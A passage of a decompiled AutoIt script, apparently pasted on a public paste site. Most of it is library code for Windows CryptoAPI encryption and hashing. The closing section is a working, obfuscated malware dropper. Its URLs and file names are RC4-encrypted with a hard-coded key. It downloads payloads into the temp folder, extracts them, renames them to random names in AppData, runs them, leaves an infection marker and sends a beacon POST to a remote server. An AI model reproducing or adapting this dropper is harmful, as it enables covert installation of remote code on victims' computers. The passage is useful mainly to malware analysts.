  5151.         Next
  5152.         Return StringSplit(StringStripWS($shostnames, $str_striptrailing), @CR)
  5153.     Else
  5154.         Return $shostnames
  5155.     EndIf
  5156. EndFunc
  5157.  
  5158. Func __tcpiptoname_szstringread($pstr, $ilen = -1)
  5159.     Local $tstring
  5160.     If $pstr < 1 Then Return ""
  5161.     If $ilen < 0 Then $ilen = _winapi_stringlena($pstr)
  5162.     $tstring = DllStructCreate("char[" & $ilen & "]", $pstr)
  5163.     If @error Then Return SetError(2, 0, "")
  5164.     Return SetExtended($ilen, DllStructGetData($tstring, 1))
  5165. EndFunc
  5166.  
  5167. Global Const $prov_rsa_full = 1
  5168. Global Const $prov_rsa_aes = 24
  5169. Global Const $crypt_verifycontext = -268435456
  5170. Global Const $hp_hashsize = 4
  5171. Global Const $hp_hashval = 2
  5172. Global Const $crypt_exportable = 1
  5173. Global Const $crypt_userdata = 1
  5174. Global Const $calg_md2 = 32769
  5175. Global Const $calg_md4 = 32770
  5176. Global Const $calg_md5 = 32771
  5177. Global Const $calg_sha1 = 32772
  5178. Global Const $calg_3des = 26115
  5179. Global Const $calg_aes_128 = 26126
  5180. Global Const $calg_aes_192 = 26127
  5181. Global Const $calg_aes_256 = 26128
  5182. Global Const $calg_des = 26113
  5183. Global Const $calg_rc2 = 26114
  5184. Global Const $calg_rc4 = 26625
  5185. Global Const $calg_userkey = 0
  5186. Global Const $kp_algid = 7
  5187. Global $__g_acryptinternaldata[3]
  5188.  
  5189. Func _crypt_startup()
  5190.     If __crypt_refcount() = 0 Then
  5191.         Local $hadvapi32 = DllOpen("Advapi32.dll")
  5192.         If $hadvapi32 = -1 Then Return SetError(1, 0, False)
  5193.         __crypt_dllhandleset($hadvapi32)
  5194.         Local $iproviderid = $prov_rsa_aes
  5195.         Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptAcquireContext", "handle*", 0, "ptr", 0, "ptr", 0, "dword", $iproviderid, "dword", $crypt_verifycontext)
  5196.         If @error OR NOT $aret[0] Then
  5197.             Local $ierror = @error + 10, $iextended = @extended
  5198.             DllClose(__crypt_dllhandle())
  5199.             Return SetError($ierror, $iextended, False)
  5200.         Else
  5201.             __crypt_contextset($aret[1])
  5202.         EndIf
  5203.     EndIf
  5204.     __crypt_refcountinc()
  5205.     Return True
  5206. EndFunc
  5207.  
  5208. Func _crypt_shutdown()
  5209.     __crypt_refcountdec()
  5210.     If __crypt_refcount() = 0 Then
  5211.         DllCall(__crypt_dllhandle(), "bool", "CryptReleaseContext", "handle", __crypt_context(), "dword", 0)
  5212.         DllClose(__crypt_dllhandle())
  5213.     EndIf
  5214. EndFunc
  5215.  
  5216. Func _crypt_derivekey($vpassword, $ialgid, $ihashalgid = $calg_md5)
  5217.     Local $aret = 0, $hbuff = 0, $hcrypthash = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  5218.     _crypt_startup()
  5219.     Do
  5220.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ihashalgid, "ptr", 0, "dword", 0, "handle*", 0)
  5221.         If @error OR NOT $aret[0] Then
  5222.             $ierror = @error + 10
  5223.             $iextended = @extended
  5224.             $vreturn = -1
  5225.             ExitLoop
  5226.         EndIf
  5227.         $hcrypthash = $aret[5]
  5228.         $hbuff = DllStructCreate("byte[" & BinaryLen($vpassword) & "]")
  5229.         DllStructSetData($hbuff, 1, $vpassword)
  5230.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
  5231.         If @error OR NOT $aret[0] Then
  5232.             $ierror = @error + 20
  5233.             $iextended = @extended
  5234.             $vreturn = -1
  5235.             ExitLoop
  5236.         EndIf
  5237.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDeriveKey", "handle", __crypt_context(), "uint", $ialgid, "handle", $hcrypthash, "dword", $crypt_exportable, "handle*", 0)
  5238.         If @error OR NOT $aret[0] Then
  5239.             $ierror = @error + 30
  5240.             $iextended = @extended
  5241.             $vreturn = -1
  5242.             ExitLoop
  5243.         EndIf
  5244.         $vreturn = $aret[5]
  5245.     Until True
  5246.     If $hcrypthash <> 0 Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  5247.     Return SetError($ierror, $iextended, $vreturn)
  5248. EndFunc
  5249.  
  5250. Func _crypt_destroykey($hcryptkey)
  5251.     Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDestroyKey", "handle", $hcryptkey)
  5252.     Local $ierror = @error, $iextended = @extended
  5253.     _crypt_shutdown()
  5254.     If $ierror OR NOT $aret[0] Then
  5255.         Return SetError($ierror + 10, $iextended, False)
  5256.     Else
  5257.         Return True
  5258.     EndIf
  5259. EndFunc
  5260.  
  5261. Func _crypt_encryptdata($vdata, $vcryptkey, $ialgid, $bfinal = True)
  5262.     Switch $ialgid
  5263.         Case $calg_userkey
  5264.             Local $icalgused = __crypt_getcalgfromcryptkey($vcryptkey)
  5265.             If @error Then Return SetError(@error, -1, @extended)
  5266.             If $icalgused = $calg_rc4 Then ContinueCase
  5267.         Case $calg_rc4
  5268.             If BinaryLen($vdata) = 0 Then Return SetError(0, 0, Binary(""))
  5269.     EndSwitch
  5270.     Local $ireqbuffsize = 0, $aret = 0, $hbuff = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  5271.     _crypt_startup()
  5272.     Do
  5273.         If $ialgid <> $calg_userkey Then
  5274.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  5275.             If @error Then
  5276.                 $ierror = @error + 100
  5277.                 $iextended = @extended
  5278.                 $vreturn = -1
  5279.                 ExitLoop
  5280.             EndIf
  5281.         EndIf
  5282.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "ptr", 0, "dword*", BinaryLen($vdata), "dword", 0)
  5283.         If @error OR NOT $aret[0] Then
  5284.             $ierror = @error + 20
  5285.             $iextended = @extended
  5286.             $vreturn = -1
  5287.             ExitLoop
  5288.         EndIf
  5289.         $ireqbuffsize = $aret[6]
  5290.         $hbuff = DllStructCreate("byte[" & $ireqbuffsize + 1 & "]")
  5291.         DllStructSetData($hbuff, 1, $vdata)
  5292.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptEncrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata), "dword", DllStructGetSize($hbuff) - 1)
  5293.         If @error OR NOT $aret[0] Then
  5294.             $ierror = @error + 30
  5295.             $iextended = @extended
  5296.             $vreturn = -1
  5297.             ExitLoop
  5298.         EndIf
  5299.         $vreturn = BinaryMid(DllStructGetData($hbuff, 1), 1, $ireqbuffsize)
  5300.     Until True
  5301.     If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  5302.     _crypt_shutdown()
  5303.     Return SetError($ierror, $iextended, $vreturn)
  5304. EndFunc
  5305.  
  5306. Func _crypt_decryptdata($vdata, $vcryptkey, $ialgid, $bfinal = True)
  5307.     Switch $ialgid
  5308.         Case $calg_userkey
  5309.             Local $icalgused = __crypt_getcalgfromcryptkey($vcryptkey)
  5310.             If @error Then Return SetError(@error, -1, @extended)
  5311.             If $icalgused = $calg_rc4 Then ContinueCase
  5312.         Case $calg_rc4
  5313.             If BinaryLen($vdata) = 0 Then Return SetError(0, 0, Binary(""))
  5314.     EndSwitch
  5315.     Local $aret = 0, $hbuff = 0, $htempstruct = 0, $ierror = 0, $iextended = 0, $iplaintextsize = 0, $vreturn = 0
  5316.     _crypt_startup()
  5317.     Do
  5318.         If $ialgid <> $calg_userkey Then
  5319.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  5320.             If @error Then
  5321.                 $ierror = @error + 100
  5322.                 $iextended = @extended
  5323.                 $vreturn = -1
  5324.                 ExitLoop
  5325.             EndIf
  5326.         EndIf
  5327.         $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) + 1000 & "]")
  5328.         If BinaryLen($vdata) > 0 Then DllStructSetData($hbuff, 1, $vdata)
  5329.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptDecrypt", "handle", $vcryptkey, "handle", 0, "bool", $bfinal, "dword", 0, "struct*", $hbuff, "dword*", BinaryLen($vdata))
  5330.         If @error OR NOT $aret[0] Then
  5331.             $ierror = @error + 20
  5332.             $iextended = @extended
  5333.             $vreturn = -1
  5334.             ExitLoop
  5335.         EndIf
  5336.         $iplaintextsize = $aret[6]
  5337.         $htempstruct = DllStructCreate("byte[" & $iplaintextsize + 1 & "]", DllStructGetPtr($hbuff))
  5338.         $vreturn = BinaryMid(DllStructGetData($htempstruct, 1), 1, $iplaintextsize)
  5339.     Until True
  5340.     If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  5341.     _crypt_shutdown()
  5342.     Return SetError($ierror, $iextended, $vreturn)
  5343. EndFunc
  5344.  
  5345. Func _crypt_hashdata($vdata, $ialgid, $bfinal = True, $hcrypthash = 0)
  5346.     Local $aret = 0, $hbuff = 0, $ierror = 0, $iextended = 0, $ihashsize = 0, $vreturn = 0
  5347.     _crypt_startup()
  5348.     Do
  5349.         If $hcrypthash = 0 Then
  5350.             $aret = DllCall(__crypt_dllhandle(), "bool", "CryptCreateHash", "handle", __crypt_context(), "uint", $ialgid, "ptr", 0, "dword", 0, "handle*", 0)
  5351.             If @error OR NOT $aret[0] Then
  5352.                 $ierror = @error + 10
  5353.                 $iextended = @extended
  5354.                 $vreturn = -1
  5355.                 ExitLoop
  5356.             EndIf
  5357.             $hcrypthash = $aret[5]
  5358.         EndIf
  5359.         $hbuff = DllStructCreate("byte[" & BinaryLen($vdata) & "]")
  5360.         DllStructSetData($hbuff, 1, $vdata)
  5361.         $aret = DllCall(__crypt_dllhandle(), "bool", "CryptHashData", "handle", $hcrypthash, "struct*", $hbuff, "dword", DllStructGetSize($hbuff), "dword", $crypt_userdata)
  5362.         If @error OR NOT $aret[0] Then
  5363.             $ierror = @error + 20
  5364.             $iextended = @extended
  5365.             $vreturn = -1
  5366.             ExitLoop
  5367.         EndIf
  5368.         If $bfinal Then
  5369.             $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashsize, "dword*", 0, "dword*", 4, "dword", 0)
  5370.             If @error OR NOT $aret[0] Then
  5371.                 $ierror = @error + 30
  5372.                 $iextended = @extended
  5373.                 $vreturn = -1
  5374.                 ExitLoop
  5375.             EndIf
  5376.             $ihashsize = $aret[3]
  5377.             $hbuff = DllStructCreate("byte[" & $ihashsize & "]")
  5378.             $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetHashParam", "handle", $hcrypthash, "dword", $hp_hashval, "struct*", $hbuff, "dword*", DllStructGetSize($hbuff), "dword", 0)
  5379.             If @error OR NOT $aret[0] Then
  5380.                 $ierror = @error + 40
  5381.                 $iextended = @extended
  5382.                 $vreturn = -1
  5383.                 ExitLoop
  5384.             EndIf
  5385.             $vreturn = DllStructGetData($hbuff, 1)
  5386.         Else
  5387.             $vreturn = $hcrypthash
  5388.         EndIf
  5389.     Until True
  5390.     If $hcrypthash <> 0 AND $bfinal Then DllCall(__crypt_dllhandle(), "bool", "CryptDestroyHash", "handle", $hcrypthash)
  5391.     _crypt_shutdown()
  5392.     Return SetError($ierror, $iextended, $vreturn)
  5393. EndFunc
  5394.  
  5395. Func _crypt_hashfile($sfilepath, $ialgid)
  5396.     Local $btempdata = 0, $hfile = 0, $hhashobject = 0, $ierror = 0, $iextended = 0, $vreturn = 0
  5397.     _crypt_startup()
  5398.     Do
  5399.         $hfile = FileOpen($sfilepath, $fo_binary)
  5400.         If $hfile = -1 Then
  5401.             $ierror = 1
  5402.             $vreturn = -1
  5403.             ExitLoop
  5404.         EndIf
  5405.         Do
  5406.             $btempdata = FileRead($hfile, 512 * 1024)
  5407.             If @error Then
  5408.                 $vreturn = _crypt_hashdata($btempdata, $ialgid, True, $hhashobject)
  5409.                 If @error Then
  5410.                     $ierror = @error
  5411.                     $iextended = @extended
  5412.                     $vreturn = -1
  5413.                     ExitLoop 2
  5414.                 EndIf
  5415.                 ExitLoop 2
  5416.             Else
  5417.                 $hhashobject = _crypt_hashdata($btempdata, $ialgid, False, $hhashobject)
  5418.                 If @error Then
  5419.                     $ierror = @error + 100
  5420.                     $iextended = @extended
  5421.                     $vreturn = -1
  5422.                     ExitLoop 2
  5423.                 EndIf
  5424.             EndIf
  5425.         Until False
  5426.     Until True
  5427.     _crypt_shutdown()
  5428.     If $hfile <> -1 Then FileClose($hfile)
  5429.     Return SetError($ierror, $iextended, $vreturn)
  5430. EndFunc
  5431.  
  5432. Func _crypt_encryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialgid)
  5433.     Local $btempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
  5434.     _crypt_startup()
  5435.     Do
  5436.         If $ialgid <> $calg_userkey Then
  5437.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  5438.             If @error Then
  5439.                 $ierror = @error
  5440.                 $iextended = @extended
  5441.                 $breturn = False
  5442.                 ExitLoop
  5443.             EndIf
  5444.         EndIf
  5445.         $hinfile = FileOpen($ssourcefile, $fo_binary)
  5446.         If @error Then
  5447.             $ierror = 2
  5448.             $breturn = False
  5449.             ExitLoop
  5450.         EndIf
  5451.         $houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
  5452.         If @error Then
  5453.             $ierror = 3
  5454.             $breturn = False
  5455.             ExitLoop
  5456.         EndIf
  5457.         Do
  5458.             $btempdata = FileRead($hinfile, 1024 * 1024)
  5459.             $iread += BinaryLen($btempdata)
  5460.             If $iread = $ifilesize Then
  5461.                 $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, True)
  5462.                 If @error Then
  5463.                     $ierror = @error + 400
  5464.                     $iextended = @extended
  5465.                     $breturn = False
  5466.                 EndIf
  5467.                 FileWrite($houtfile, $btempdata)
  5468.                 ExitLoop 2
  5469.             Else
  5470.                 $btempdata = _crypt_encryptdata($btempdata, $vcryptkey, $calg_userkey, False)
  5471.                 If @error Then
  5472.                     $ierror = @error + 500
  5473.                     $iextended = @extended
  5474.                     $breturn = False
  5475.                     ExitLoop 2
  5476.                 EndIf
  5477.                 FileWrite($houtfile, $btempdata)
  5478.             EndIf
  5479.         Until False
  5480.     Until True
  5481.     If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  5482.     _crypt_shutdown()
  5483.     If $hinfile <> -1 Then FileClose($hinfile)
  5484.     If $houtfile <> -1 Then FileClose($houtfile)
  5485.     Return SetError($ierror, $iextended, $breturn)
  5486. EndFunc
  5487.  
  5488. Func _crypt_decryptfile($ssourcefile, $sdestinationfile, $vcryptkey, $ialgid)
  5489.     Local $btempdata = 0, $hinfile = 0, $houtfile = 0, $ierror = 0, $iextended = 0, $ifilesize = FileGetSize($ssourcefile), $iread = 0, $breturn = True
  5490.     _crypt_startup()
  5491.     Do
  5492.         If $ialgid <> $calg_userkey Then
  5493.             $vcryptkey = _crypt_derivekey($vcryptkey, $ialgid)
  5494.             If @error Then
  5495.                 $ierror = @error
  5496.                 $iextended = @extended
  5497.                 $breturn = False
  5498.                 ExitLoop
  5499.             EndIf
  5500.         EndIf
  5501.         $hinfile = FileOpen($ssourcefile, $fo_binary)
  5502.         If @error Then
  5503.             $ierror = 2
  5504.             $breturn = False
  5505.             ExitLoop
  5506.         EndIf
  5507.         $houtfile = FileOpen($sdestinationfile, $fo_overwrite + $fo_createpath + $fo_binary)
  5508.         If @error Then
  5509.             $ierror = 3
  5510.             $breturn = False
  5511.             ExitLoop
  5512.         EndIf
  5513.         Do
  5514.             $btempdata = FileRead($hinfile, 1024 * 1024)
  5515.             $iread += BinaryLen($btempdata)
  5516.             If $iread = $ifilesize Then
  5517.                 $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, True)
  5518.                 If @error Then
  5519.                     $ierror = @error + 400
  5520.                     $iextended = @extended
  5521.                     $breturn = False
  5522.                 EndIf
  5523.                 FileWrite($houtfile, $btempdata)
  5524.                 ExitLoop 2
  5525.             Else
  5526.                 $btempdata = _crypt_decryptdata($btempdata, $vcryptkey, $calg_userkey, False)
  5527.                 If @error Then
  5528.                     $ierror = @error + 500
  5529.                     $iextended = @extended
  5530.                     $breturn = False
  5531.                     ExitLoop 2
  5532.                 EndIf
  5533.                 FileWrite($houtfile, $btempdata)
  5534.             EndIf
  5535.         Until False
  5536.     Until True
  5537.     If $ialgid <> $calg_userkey Then _crypt_destroykey($vcryptkey)
  5538.     _crypt_shutdown()
  5539.     If $hinfile <> -1 Then FileClose($hinfile)
  5540.     If $houtfile <> -1 Then FileClose($houtfile)
  5541.     Return SetError($ierror, $iextended, $breturn)
  5542. EndFunc
  5543.  
  5544. Func _crypt_genrandom($pbuffer, $isize)
  5545.     _crypt_startup()
  5546.     Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGenRandom", "handle", __crypt_context(), "dword", $isize, "struct*", $pbuffer)
  5547.     Local $ierror = @error, $iextended = @extended
  5548.     _crypt_shutdown()
  5549.     If $ierror OR (NOT $aret[0]) Then
  5550.         Return SetError($ierror + 10, $iextended, False)
  5551.     Else
  5552.         Return True
  5553.     EndIf
  5554. EndFunc
  5555.  
  5556. Func __crypt_refcount()
  5557.     Return $__g_acryptinternaldata[0]
  5558. EndFunc
  5559.  
  5560. Func __crypt_refcountinc()
  5561.     $__g_acryptinternaldata[0] += 1
  5562. EndFunc
  5563.  
  5564. Func __crypt_refcountdec()
  5565.     If $__g_acryptinternaldata[0] > 0 Then $__g_acryptinternaldata[0] -= 1
  5566. EndFunc
  5567.  
  5568. Func __crypt_dllhandle()
  5569.     Return $__g_acryptinternaldata[1]
  5570. EndFunc
  5571.  
  5572. Func __crypt_dllhandleset($hadvapi32)
  5573.     $__g_acryptinternaldata[1] = $hadvapi32
  5574. EndFunc
  5575.  
  5576. Func __crypt_context()
  5577.     Return $__g_acryptinternaldata[2]
  5578. EndFunc
  5579.  
  5580. Func __crypt_contextset($hcryptcontext)
  5581.     $__g_acryptinternaldata[2] = $hcryptcontext
  5582. EndFunc
  5583.  
  5584. Func __crypt_getcalgfromcryptkey($vcryptkey)
  5585.     Local $talgid = DllStructCreate("uint;dword")
  5586.     DllStructSetData($talgid, 2, 4)
  5587.     Local $aret = DllCall(__crypt_dllhandle(), "bool", "CryptGetKeyParam", "handle", $vcryptkey, "dword", $kp_algid, "ptr", DllStructGetPtr($talgid, 1), "dword*", DllStructGetPtr($talgid, 2), "dword", 0)
  5588.     If @error OR NOT $aret[0] Then
  5589.         Return SetError(@error, @extended, $crypt_userdata)
  5590.     Else
  5591.         Return DllStructGetData($talgid, 1)
  5592.     EndIf
  5593. EndFunc
  5594.  
  5595. If UBound(ProcessList(@ScriptName)) > 2 Then Exit
  5596. Local $cwhbfokz, $yucayhbh, $kekzvcfd, $vsfbyrmw, $kslcfddj, $ubdhtctk, $zp, $wvfilrmz, $wggjpefd
  5597. $cwhbfokz = yivnixzs("0x904DF5EE9E2C9F852B1DB1F9B47C0E297FB215F0A03FDB38EF7B3CDD8E43CDD130102991")
  5598. $yucayhbh = yivnixzs("0x904DF5EE9E2C9F852B1DB1F9B47C0E207F9414D0A13DD904ED6E3CDD8E43CDD130102991")
  5599. $kekzvcfd = yivnixzs("0x904DF5EE9E2C9F85241EF5F4A0264D102F874B99F61E851FF26276CDCE57CCD32B1029D10B279192F94C75AB3917BF")
  5600. $vsfbyrmw = yivnixzs("0xBE55F8B0886ED9C7")
  5601. $mjickntw = wzltuqlo(10)
  5602. $ubdhtctk = $mjickntw & yivnixzs("0xD65CF9FB")
  5603. $kslcfddj = "\" & $mjickntw & "\"
  5604. $zp = yivnixzs("0xCF43E0B0886ED5")
  5605. $wvfilrmz = $mjickntw & yivnixzs("0xD65DE0EA")
  5606. $uwcqdjtd = yivnixzs("0x915DAFF186")
  5607. If NOT FileExists(@AppDataDir & "\" & $uwcqdjtd) Then
  5608.     If InetGet($cwhbfokz & $vsfbyrmw, @TempDir & "\" & $vsfbyrmw, 8) Then
  5609.         If InetGet($yucayhbh & $zp, @TempDir & "\" & $zp, 8) Then
  5610.             ubdhtctk(@TempDir & "\" & $vsfbyrmw, @AppDataDir & $kslcfddj, 1)
  5611.             Sleep(2000)
  5612.             FileMove(@AppDataDir & $kslcfddj & yivnixzs("0xBA4BEEE99E73C2E2291FFBF9A821101C3483"), @AppDataDir & $kslcfddj & $ubdhtctk)
  5613.             FileMove(@AppDataDir & $kslcfddj & yivnixzs("0xCA01B5AFDF3B829A7E41A6B8FC6106497DC843D6E6"), @AppDataDir & $kslcfddj & $wvfilrmz)
  5614.             Run(@AppDataDir & $kslcfddj & $ubdhtctk & " " & @AppDataDir & $kslcfddj & $wvfilrmz)
  5615.             FileOpen(@AppDataDir & "\" & $uwcqdjtd, 2 + 32)
  5616.             rsiddpye($kekzvcfd)
  5617.         EndIf
  5618.     EndIf
  5619.     FileDelete(@TempDir & "\" & $vsfbyrmw)
  5620.     Sleep(120000)
  5621. EndIf
  5622.  
  5623. Func ubdhtctk($rsiddpye, $yivnixzs, $ybttwbsk = "")
  5624.     If $ybttwbsk <> "" Then $ybttwbsk = "-p" & '"' & $ybttwbsk & '" '
  5625.     RunWait(@TempDir & yivnixzs("0xA40EFBFFC373C8CF") & ' x "' & $rsiddpye & '" ' & $ybttwbsk & "-y -o" & '"' & $yivnixzs & '"')
  5626. EndFunc
  5627.  
  5628. Func rsiddpye($czgcvfac)
  5629.     Dim $ebpmnkrr = ObjCreate(yivnixzs("0xAF50EFD69962C0841F18F1DDB9274E2B299752D2E10EC559F23D"))
  5630.     $ebpmnkrr.open("POST", $czgcvfac, False)
  5631.     $ebpmnkrr.send("")
  5632. EndFunc
  5633.  
  5634. Func yivnixzs($sdata)
  5635.     Local $sreturn = ""
  5636.     _crypt_startup()
  5637.     $sreturn = BinaryToString(_crypt_decryptdata($sdata, "tito", $calg_rc4))
  5638.     _crypt_startup()
  5639.     Return $sreturn
  5640. EndFunc
  5641.  
  5642. Func wzltuqlo($brfotahw)
  5643.     $qllftxmh = ""
  5644.     For $oostxvrg = 1 To $brfotahw
  5645.         $jlvhabdv = Random(65, 122, 1)
  5646.         While $jlvhabdv >= 90 AND $jlvhabdv <= 96
  5647.             $jlvhabdv = Random(65, 122, 1)
  5648.         WEnd
  5649.         $jlvhabdv = Chr($jlvhabdv)
  5650.         $qllftxmh &= $jlvhabdv
  5651.     Next
  5652.     Return $qllftxmh
  5653. EndFunc
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement